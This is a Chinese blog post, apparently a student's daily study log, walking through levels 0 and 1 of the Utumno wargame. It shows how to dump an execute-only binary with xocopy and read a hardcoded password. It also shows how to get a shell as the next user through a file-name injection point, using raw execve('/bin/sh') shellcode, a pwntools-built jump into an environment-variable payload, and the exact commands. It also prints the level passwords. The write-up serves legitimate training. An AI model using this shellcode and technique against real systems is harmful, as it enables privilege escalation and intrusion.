170909 WarGames-Utumno(0-1)

来源:互联网 发布:本田凌派maf标准数据 编辑:程序博客网 时间:2024/05/21 07:46

1625-5 王子昂 总结《2017年9月9日》 【连续第341天总结】
A. WarGames-utumno
B.

Level 0

执行提示“Readme :p”
刚开始还没懂什么意思,习惯性想down到本地IDA
发现SFTP和SSH都没法把文件下载到本地才反应过来,文件只有可执行权限

查了一波,发现可以用xocopy工具将内存中的程序dump下来
http://reverse.lostrealm.com/tools/xocopy.html

utumno0@utumno:~$ gcc xocopy.c -o xocopy -m32

以32位编译生成文件后运行

Obtains an executable copy of a binary with execute but no read permission
Usage: ./xocopy [-a addr] <file>
where addr is the memory address of the elf header

utumno0@utumno:~$ ./xocopy /utumno/utumno0
multiple elf headers found:
0x08048000
0x08049000
couldn’t find elf header in memory

utumno0@utumno:~$ ./xocopy -a 0x08048000 /utumno/utumno0
could not recover data - 4096 bytes at file offset 4096
created file `utumno0.out’

utumno0.out就是放开权限的utumno0了,然后通过gdb查看反汇编代码可以发现在mov“readme”之前,还mov了另外一个字符串

Dump of assembler code for function main:   0x080483fd <+0>:     push   %ebp   0x080483fe <+1>:     mov    %esp,%ebp   0x08048400 <+3>:     and    $0xfffffff0,%esp   0x08048403 <+6>:     sub    $0x20,%esp   0x08048406 <+9>:     movl   $0x80484c0,0x1c(%esp)   0x0804840e <+17>:    movl   $0x80484cb,(%esp)   0x08048415 <+24>:    call   0x80482d0 <puts@plt>   0x0804841a <+29>:    mov    $0x0,%eax   0x0804841f <+34>:    leave     0x08048420 <+35>:    ret    End of assembler dump.

动态调试可查看到:

(gdb) x/40s 0x80484c0
0x80484c0: “aathaeyiew”
0x80484cb: “Read me! :P”
0x80484d7: “”

得到password

另外还可以通过重写库中的write函数来达到输出堆栈所有内容的目的
http://blog.csdn.net/shuimuyq/article/details/51082602
在这篇有提到具体内容

其实我觉得重写write函数应该就能直接getshell来查看密码了

Level 1

int __cdecl main(int argc, const char **argv, const char **envp){  DIR *v4; // [sp+18h] [bp-8h]@3  struct dirent *v5; // [sp+1Ch] [bp-4h]@8  if ( !argv[1] )    exit(1);  v4 = opendir(argv[1]);  if ( !v4 )    exit(1);  while ( 1 )  {    v5 = readdir(v4);    if ( !v5 )      break;    if ( !strncmp("sh_", v5->d_name, 3u) )      run(&v5->d_name[3]);  }  return 0;}

没看出来啥名堂,还是乖乖下载下来IDA分析吧
可以看出来,它遍历参数所指向的目录下的所有文件名,如果存在文件名前三个字符为”sh_”时就停下来执行该文件名的其余字符

很明显,shellcode放在sh_后面
不过当然不会这么简单:

utumno1@utumno:~$ touch python -c'print "sh_\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
touch: cannot touch ‘sh_3\3221\300Ph//shh/bin\211\343PS\211\341\260\v\315\200’: No such file or directory

shellcode中包含/字符,会在创建文件时以为/是路径分隔符,从而touch失败

引号、转义都无法解决这个问题,估计跟windows一样,/不允许在文件名中出现
将其作为路径分隔符,用mkdir -p递归创建目录也是不可行的

既然无法从Shell角度解决问题,而注入点又是存在的,那么换一个ShellCode如何呢
以前用过的ShellCode只有execve(‘/bin/sh/’)和cat(‘/etc/xxx_pass/xxx’)两种,它们都含有路径名
执行点实际上是执行机器码(汇编),那么直接用call来跳转如何呢
沿着这个思路,想到了将Payload放在环境变量中,找到地址然后通过执行点跳转过去的方法

pwntools的asm方法可以用来转换Payload

asm(“mov eax,0xffffd58d \n call eax”)
‘\xb8\x8d\xd5\xff\xff\xff\xd0’

0xffffd58d是通过gdb调试找到的环境变量(添加了1000个sled的ShellCode)的位置
将它作为文件名传入即可得到pw:

utumno1@utumno:~$ touch python -c 'print "sh_\xb8\x8d\xd5\xff\xff\xff\xd0"'
utumno1@utumno:~$ /utumno/utumno1 /home/utumno1
$ whoami
utumno2
$ cat /etc/utumno_pass/utumno2
ceewaceiph

C. 明日计划
utumno

原创粉丝点击